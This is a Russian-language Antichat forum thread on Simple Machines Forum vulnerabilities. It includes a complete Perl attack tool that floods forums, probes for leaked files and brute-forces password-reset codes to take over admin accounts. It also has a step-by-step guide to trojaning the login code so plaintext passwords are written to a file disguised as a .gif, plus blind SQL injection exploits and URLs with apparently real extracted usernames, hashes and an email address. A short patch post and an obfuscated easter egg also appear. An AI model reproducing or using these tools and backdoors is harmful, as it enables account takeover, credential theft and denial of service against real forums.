HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.01.2009, 14:30
AnOcToJI
Познающий
Регистрация: 10.08.2008
Сообщений: 78
С нами: 9343533

Репутация: 46
По умолчанию

покапавшись на днях в интернете наткнулся на такой exploit для SMF 1.1.7 тут www.securitylab.ru

Код:
#!/usr/bin/perl

    use LWP::UserAgent;
    use Getopt::Std;
    use LWP::Simple;
    use HTTP::Request;

#Author: Xianur0
#Uxmal666[at]gmail.com
# Cracks links Password Recovery
# Find Temporary Files executed by mods
# DB function Flood by Error Log
# File Path Disclosure
# List installed Mods (Useful To Find Mods Vulnerable)
# etc. ..

print "\n\n\x09\x09\x09\x09\x09SMF Destroyer 0.1 By Xianur0 [Priv8]\n\n";
my $url = $ARGV[1] || die ("Use: smf.pl [option] [Full URL]
[Proxy:Puerto]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l
Installed Mods List \n-b Find Temporary\n-c  Cracks links Password
Recovery (Recommended Use Proxy)");
version();
my $proxy = $ARGV[2] || "";
if($ARGV[0] ne "-c" && $proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}

    getopts('fplbc', \%opt);
    crackeador() if $opt{c};
    flood() if $opt{f};
    path() if $opt{p};
    list() if $opt{l};
    temp() if $opt{b};

sub headers {
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
}

sub version {
$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12)
Gecko/20080201 Firefox/2.0.0.12');
$req = HTTP::Request->new(GET => $url);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
if ($html =~ /title="Simple Machines Forum" target="_blank">Powered by
SMF (.*?)<\/a>/){
$version = $1;
print "\n[X] SMF Version: $version\n";
if($version < "1.1.7") {
print "\n[X] Outdated Version $version!!!!!!!!!!!\n\n[X]
http://milw0rm.com/search.php?dong=smf".$version."\n\n";
}
}}}

sub path {
$req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers');
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
if ($html =~ /Undefined variable: ssi_layers in <b>(.*?)SSI.php/){
print "[X] Directory: $1\n";
} else { print "[!] Getting error Directory!\n";}
}
}

sub flood {
print "[X] Starting Flood! (Press Ctrl + C To Finish)\n";
$texto = "Flood!!!!!" x 15;
$req = HTTP::Request->new(GET =>
$url.'/index.php?action=help;page['.$texto.']=loginout');
&headers;
for($i = 1; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "[-] Sent: ".$i."\n";
} else {
print "[!] HTTP Error Query: " . $res->status_line . "\n";
}
}
}


sub temp {
@temps=('index.php~','Settings.php~','Settings_bak.php~');
foreach $temp (@temps) {
$req = HTTP::Request->new(GET => $url."/".$temp);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
print "[X] Temporary File Found: ".$url."/".$temp."\n";
} else {print "[!] Not Found: ".$url."/".$temp."\n";}
}
}

sub list {
$req = HTTP::Request->new(GET => $url."/Packages/installed.list");
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
my @htmls = split("\n", $html);
foreach $mod (@htmls) {
my @mod = split('\|\^\|', $mod);
print "[X]Package:\nDescription: $mod[0]\nFile:
$url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";

}
}
}

sub crackeador() {
$url = $ARGV[0];
$nick = $ARGV[1];
$id = $ARGV[2] || die("Use: smf.pl -c [URL SMF] [Nick Admin] [ID
Admin] [Proxy:Puerto]\nExample: smf.pl -p
http://www.simplemachines.org/community/ dschwab9 179
www.carlosslim.com:3128\n");
my $reminder = $url."?action=reminder";
my $smf = $reminder.";sa=setpassword;u=".$id.";code=";
my $proxy = $ARGV[3];
if($proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}

sub mail() {
my $content = HTTP::Request->new(GET => $reminder);
$contenedor = $ua->request($content)->as_string;
if ($contenedor =~ /Set-Cookie: (.*?)
/){
        print "\n[+] SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
if ($contenedor =~ /<input type="hidden" name="sc" value="(.*?)"/){
        print "\n[+] sc Detected: $1\n";
    $sc = $1;
} else { die "[!] SC could not be found!\n";}
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
  $req->content_type('application/x-www-form-urlencoded');
  $req->content('user='.$nick.'&sc='.$sc.'&=enviar');
  $req->header('Cookie' => $session);
my $res = $ua->request($req)->as_string;
if(!$res) {exit;}
print "[x]Sent!\n";

}

sub generador() {
my $password = "";
my @chars = split(" ",
    "0 1 2 3 4 5 6 7 8 9 a b c d e
    f g h i j k l m n o p q r s t
    u v w x y z");
for (my $i=0; $i < 10 ;$i++) {
    $_rand = int(rand 35);
    $password .= $chars[$_rand];
}
return $password;
}

sub brute() {
while($bucle ne "finito") {
$code = generador();
    my $fuente = $reminder.";sa=setpassword;u=".$id.";code=".$code;
    my $content = HTTP::Request->new(GET => $reminder);
    my $content = $ua->request($content)->as_string;
if ($content =~ /<input type="hidden" name="sc" value="(.*?)"/){
    $sc = $1;
} else { die "[!] SC could not be found!\n";}
if ($content =~ /Set-Cookie: (.*?)
/){
        print "\n[+] New SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
print "[+] Testing Code: ".$code."\n";
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
  $req->content_type('application/x-www-form-urlencoded');
  $req->content('passwrd1=xianur0washere&passwrd2=xianur0washere&code='.$code.'&u='.$id.'&sc='.$sc);
  $req->header('Cookie' => $session);
  $res = $ua->request($req);
  if ($res->is_success) {
     if($res->content =~ '<input type="text" name="user" size="20" value="') {
print "[-] Password Changed!\n[x] New password: xianur0washere\nUsername: $1\n";
exit;
}
} else { die "[!] HTTP response incorrect!\n";}}}

print "\n[-] Sending Mail...\n\n";
mail();
print "\n[-] Attacking code link recovery...\n";
brute();
}

Последний раз редактировалось AnOcToJI; 24.01.2009 в 16:59..
 
Ответить с цитированием

  #2  
Старый 16.04.2009, 00:59
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

http://forum.antichat.ru/showpost.php?p=1047861&postcount=31

Пришлось иметь дело с данным скриптом, действительно корявый, возможные решения проблемы:

Код:
	$topic = (int)$_GET['t'];
	$board = (int)$_GET['b'];
	$user = (int)$_GET['u'];
	$tpage = (int)$_GET['p'];
Целые пройти, чтобы избежать проверки данных

Код:
	$other = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['o']);
	$action = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['a']);
	$param = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['param']);
Фильтр только для допустимых регулярок для SMF

А тут делаем проверку на соответствие тем:
Код:
function seo_verifica_permisos($id, $tipo){
		global $user_info, $db_prefix;
		if(!$id = (int)$id){
			return false;
		}
		if($user_info['is_admin'] == '1'){
			return true; //Если админ права по умолчанию
		}
		if($tipo == 'board'){
			if($request = @db_query("
					SELECT memberGroups
					FROM {$db_prefix}boards 
					WHERE ID_BOARD = {$id} 
					LIMIT 1", __FILE__, __LINE__)){
					if($row = @mysql_fetch_assoc($request)){
						mysql_free_result($request);
					}
			}
			if(!$permisos = @explode(',', $row['memberGroups'])){
				if(!$permisos = (int)$row['memberGroups']){ 
					return false; 
				}
			}
			foreach($permisos as $valor){
				if($valor == $user_info['groups'][0]){
					return true; 
				}
			}
			return false; 
		}elseif($tipo == 'topic'){
			if($request = @db_query("
				SELECT ID_BOARD
				FROM {$db_prefix}topics 
				WHERE ID_TOPIC = {$id} LIMIT 1", __FILE__, __LINE__)){
				if($row = @mysql_fetch_assoc($request)){
					mysql_free_result($request);
				}
			}
			if(seo_verifica_permisos((int)$row['ID_BOARD'], 'board')){
				return true; 
			}else{
				return false; 
			}
		}else{
			return false;
		}
	}
Ну собственно небольшой патч, если "это" так можно назвать(простите за грамматические ошибки и лексически не правильно построенные фразы, час ночи, спать охота).Собственно ссылки:
http://dump.ru/file/2460593
http://slil.ru/27454401

Пароль: underantichat?!
 
Ответить с цитированием

  #3  
Старый 19.04.2009, 00:30
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

Скорее не баги, а так интересные наблюдения, где что хранится у смф:

Ошибка при обработке пакетов:

Ошибки при обработке пакетов сохраняется для того чтобы воможность редактирования, возможность сделать сделал резервную копию каждого файла PHP, которго коснулась изменения, но после смены, в 90% случаев они не удаляются администратором и доустпны всем желающим:
Код:
http://forum.com/index.php~
или
Код:
http://www.forum.com/Settings.php ~
Например: http://foro.infiernohacker.com/index.php ~

Ошибка расширения файлов:
Хранятся тут:
Код:
http://forum.com/Packages/installed.list
Например: опять-таки http://foro.infiernohacker.com/Packages/installed.list


Директория на сервере:
Хранится тут:
Код:
http://forum.com/SSI.php?ssi_layers
Например: http://foro.infiernohacker.com/SSI.php?ssi_layers
Кроме того логи записываются еще и в http://forum.com/error_log
 
Ответить с цитированием

  #4  
Старый 19.05.2009, 16:23
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
С нами: 8947056

Репутация: 229
По умолчанию

Трояним SMF (сбор открытых паролей)

И так открываем файл LogInOut.php который лежит в Source
Редактируем файл...
Ищем следующий код (он в дефолтном виде файла будет на 386 строке)

PHP код:
     if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
        
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 $_REQUEST['hash_passwrd'] : null$modSettings['cookieTime']);
$Login $_REQUEST['user']; 
После него подставляем такой код

PHP код:
$Login $_REQUEST['user']; //пишем в переменную login параметр user от посланного POST запроса
$Passwd $_REQUEST['passwrd']; //пишем в переменную login параметр passwd от посланного POST запроса
$fp fopen("./wavatar1.gif","a+"); //открываем файл wavatar1, если он не сущ то он создаеться автоматом
fwrite($fp,"$Login:$Passwd\r\n"); //пишем что в переменных login, passwd и переносим на след. строку
fclose($fp); //закрываем открытый файл 
Должно получиться так

PHP код:
..........
    if (isset(
$modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
        
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 $_REQUEST['hash_passwrd'] : null$modSettings['cookieTime']);
$Login $_REQUEST['user']; 
$Passwd $_REQUEST['passwrd']; 
$fp fopen("./attachments/wavatar1.gif","a+"); 
fwrite($fp,"$Login:$Passwd\r\n"); 
fclose($fp); 
    
// Get ready to set the cookie...
    
$username $user_settings['memberName'];
    
$ID_MEMBER $user_settings['ID_MEMBER'];
.......... 
Логинимся... Мда звездочки пишуться в файл =\
Теперь идем в папку Themes\default (где default имя темы которая стоит на данный момент)
Редактируем файл Login.template.php
Ищем в нем POST запросы (он в самом внизу находиться) код будет следующим (в случае если ниже код встречаеться в коде то редактируем)

PHP код:
<form action="', $scripturl, '?action=login2" method="post" accept-charset="', $context, '" name="frmLogin" id="frmLogin" style="margin-top: 4ex;"', empty($context) ? ' onsubmit="hashLoginPassword(this, \'' . $context . '\');"' : '', '
Теперь в этом ПОСТ запросе
Удаляем следующий код

PHP код:
', empty($context) ? ' onsubmit="hashLoginPassword(this, \'' . $context . '\');"' : '', '
Повторюсь надо сделать это ко всем ПОСТ запросам в файле Login.template.php

Полезная информация:
[Код который мы удалили он шифрует пароль в звездочки]

Логинимся... и в файле который мы прописали появится логин и пароль

Автор: .wolmer

Последний раз редактировалось wolmer; 27.10.2009 в 03:53..
 
Ответить с цитированием

  #5  
Старый 22.05.2009, 22:33
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

Несколько слов о версии 1.9

1. Ошибках в форме опросов.

Смотрим в файле Sources/Pool.php (164-166):
Код:
foreach ($_REQUEST['options'] as $id)
	{
		$id = (int) $id;
Если в переменную подставить, например, -1, то при показе результатов наш голос не будет засчитыватся.
Бага конечно не серьезная, но все же)

2.Смотрим Sources/Sub-Auth.php, где запрос к базе данных при поиске может достигать глобальных значений, или остановится, когда достигнет указанного предела в php.ini.

Например, заходим в Профиль -> Настройка личных сообщений и нажать на поиск пользователей(эта опция находится в нескольких разделах в профиле) после чего откроется небольшое окно
http://forum.com/index.php?action=findmember; sesc = [hash]

Ошибки скрипта задаются в пхп.ини,
Цитата:
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 86 bytes) in /home/vart001/public_html/foro/Sources/Subs-Auth.php on line 468
3.RRS. С этим у смф траблы- достаточно сделать несколько запросов, чтоб вырубить майскулу было отказано в доступе, так как будет превышен лимит памяти.

Для неверующих:

http://forum.com/index.php?action=.xml;sa=news;board=34;limit=999;t ype=rss

Цитата:
Fatal error: Maximum execution time of 30 seconds exceeded in /home/vart001/public_html/foro/Sources/Load.php(195) : runtime-created function on line 3
5.Раскрытие информации.Не работает должным образом опция "скрытый профиль" (не отобращается, что вы в онлайне).Так как данные узнать не составит большого труда.
 
Ответить с цитированием

  #6  
Старый 14.06.2009, 18:25
eLWAux
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
С нами: 9423746

Репутация: 2399


По умолчанию

exploit для Blind SQLinj Member Awards 1.02

Код:
  SMF ] MemberAwards 1.0.2 exploit
  eLwaux(c)uasc && antichat 2009
  thx: Grey && mailbrush

  usage:
     expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
     params:
        -v = get version()
        -u = get user()
        -d = get database() 
        -an = get User Name  (логин)
        -ap = get User Password (sha1 хеш)
        -as = get User Salt (сальт)
        -am = get User Mail (емейл)
UAsc.org.UA/files/SMF-Awart-exploit.zip

в скрипте:
Код:
$SHOW_ALL = 1; - показывать результат брута
$SHOW_COUNT_REQ = 1; - показать количество запросов
..
все ф-ции в таком формате:
&getAdminName(41,122) , &getAdminPass(41,122), &getUser1(97,122), ..etc
первый параметр - начало перебора, второй - конец.
т.е. для AdminName будет перебор от chr(41) до chr(122).
если скрипт не сможет роспознать имя\пароль\хеш\etc значит нужно изменить ети числа на
0..255, т.е. чтоб получилось так:
&getAdminName(0,255) , &getAdminPass(0,255), &getUser1(0,255), ..etc
в боевых условиях :
Код:
http://scrubs.net.ru/cms/forum/index.php

] Host: scrubs.net.ru
  BAD answer = '╬°шсър!' <-- Ошибка
] version() = 5
] user() = us5729a@localhost
] database() = db
] id=1 NAME = zhbanito
] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932
] id=1 SALT = fe81
] id=1 MAIL = shpioner@mail.ru
 
Ответить с цитированием

  #7  
Старый 14.06.2009, 19:00
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
С нами: 9477026

Репутация: 2362
По умолчанию

Member Awards 1.02 Blind SQL-Injection exploit
Vulnerability: mailbrush
Code: oRb
Thnx: Grey, eLWAux

Использует бинарный поиск. В начале скрипта конфиг:
$url - урл до smf
$member_id - кого брутить
$tbl_prefix - префикс таблиц
$error - текст ошибки, если награда не найдена.

Example:
Код:
$ php smf.php
passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
Requests: 160
Time: 00:00:32
Вложения
Тип файла: zip smf.php.zip (980 байт, 61 просмотров)
__________________
включи голову

Последний раз редактировалось oRb; 15.06.2009 в 10:37..
 
Ответить с цитированием

  #8  
Старый 15.01.2010, 15:14
_eXorcist_
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
С нами: 8621768

Репутация: -3
По умолчанию

Цитата:
Сообщение от oRb  
Member Awards 1.02 Blind SQL-Injection exploit
Vulnerability: mailbrush
Code: oRb
Thnx: Grey, eLWAux

Использует бинарный поиск. В начале скрипта конфиг:
$url - урл до smf
$member_id - кого брутить
$tbl_prefix - префикс таблиц
$error - текст ошибки, если награда не найдена.

Example:
Код:
$ php smf.php
passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
Requests: 160
Time: 00:00:32
после брута выходит так
Код HTML:
passwd: 0000000000000000000000000000000000000000 Requests: 160 Time: 00:00:56

но такого хеша я как понимаю нет в чем проблемма?

и что означает число 160

Последний раз редактировалось _eXorcist_; 15.01.2010 в 15:29..
 
Ответить с цитированием

  #9  
Старый 27.07.2009, 23:45
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

SMF 1.1.10

АВТОР: HAXTA4OK

нужны права админа


Код:
function EditHoliday()
{
	global $txt, $context, $db_prefix, $scripturl;

	loadTemplate('ManageCalendar');

	$context['is_new'] = !isset($_REQUEST['holiday']);
	$context['page_title'] = $context['is_new'] ? $txt['holidays_add'] : $txt['holidays_edit'];
	$context['sub_template'] = 'edit_holiday';
	$context['admin_tabs']['tabs']['holidays']['is_selected'] = true;

	// Submitting?
	if (isset($_POST['sc']) && (isset($_REQUEST['delete']) || $_REQUEST['title'] != ''))
	{
		checkSession();

		if (isset($_REQUEST['delete']))
			db_query("
				DELETE FROM {$db_prefix}calendar_holidays
				WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
		else
		{
			$date = strftime($_REQUEST['year'] <= 4 ? '0004-%m-%d' : '%Y-%m-%d', mktime(0, 0, 0, $_REQUEST['month'], $_REQUEST['day'], $_REQUEST['year']));
			if (isset($_REQUEST['edit']))
				db_query("
					UPDATE {$db_prefix}calendar_holidays
					SET eventDate = '$date', title = '$_REQUEST[title]'
					WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
			else
				db_query("
					INSERT INTO {$db_prefix}calendar_holidays
						(eventDate, title)
					VALUES
						('$date', SUBSTRING('$_REQUEST[title]', 1, 48))", __FILE__, __LINE__);
		}

		updateStats('calendar');

		redirectexit('action=managecalendar;sa=holidays');
	}

	// Default states...
	if ($context['is_new'])
		$context['holiday'] = array(
			'id' => 0,
			'day' => date('d'),
			'month' => date('m'),
			'year' => '0000',
			'title' => ''
		);
	// If it's not new load the data.
	else
	{
		$request = db_query("
			SELECT ID_HOLIDAY, YEAR(eventDate) AS year, MONTH(eventDate) AS month, DAYOFMONTH(eventDate) AS day, title
			FROM {$db_prefix}calendar_holidays
			WHERE ID_HOLIDAY = $_REQUEST[holiday]
			LIMIT 1", __FILE__, __LINE__);
		while ($row = mysql_fetch_assoc($request))
			$context['holiday'] = array(
				'id' => $row['ID_HOLIDAY'],
				'day' => $row['day'],
				'month' => $row['month'],
				'year' => $row['year'] <= 4 ? 0 : $row['year'],
				'title' => $row['title']
			);
		mysql_free_result($request);
	}

	// Last day for the drop down?
	$context['holiday']['last_day'] = (int) strftime('%d', mktime(0, 0, 0, $context['holiday']['month'] == 12 ? 1 : $context['holiday']['month'] + 1, 0, $context['holiday']['month'] == 12 ? $context['holiday']['year'] + 1 : $context['holiday']['year']));
}
уязвимое место holiday

=) собственно сам пример

http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5

реализация:
http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5'

узнаем кол-во колонок - их 5

из постов GREY'a делаем запрос

http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5+and+(%23)%0Asubstring(version(),1,1)=5

у меня 5 ветка

P.S. прошу сина не гнать на меня , мой первый баг найденный в SMF

Последний раз редактировалось HAXTA4OK; 23.08.2009 в 18:58..
 
Ответить с цитированием

  #10  
Старый 09.11.2009, 00:59
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

Бекдор?!

Сегодня наткнулся на пост испанского вроде бы хакера WHK, который нашел бекдор в СМФ!

http://www.simplemachines.org/community/index.php?action=mascot

Он посмотрел исходники Sources/Who.php - 660 строка:

Код:
function Mascot()
{
	global $sourcedir;
 
	// Some important quotes.
	$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
		'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
		'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
		'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
		'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
		'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
		'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
	);
 
	mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
	$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
 
	$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
	require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
 
	if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
}
Он деобфусцировал сей кусок кода и получил вот это:
Код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<title>My name is Earl</title>
</head>
<body>
	<h1>Watch out!  He's a killer!</h1>
	<img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
</body>
</html>
Как по мне - очередная пасхалка, но все равно забавно.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Уязвимости CMS / форумов 167 17.10.2019 18:14
[Обзор уязвимостей в форумных движках] Grey Уязвимости CMS / форумов 49 02.04.2015 17:48
Уязвимость в Simple machines smf 1.0 beta 5 public Nemirof Уязвимости CMS / форумов 0 23.10.2004 00:47
Вопрос про уязвимости в Simple machines forum Уязвимости CMS / форумов 4 27.08.2004 14:09



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.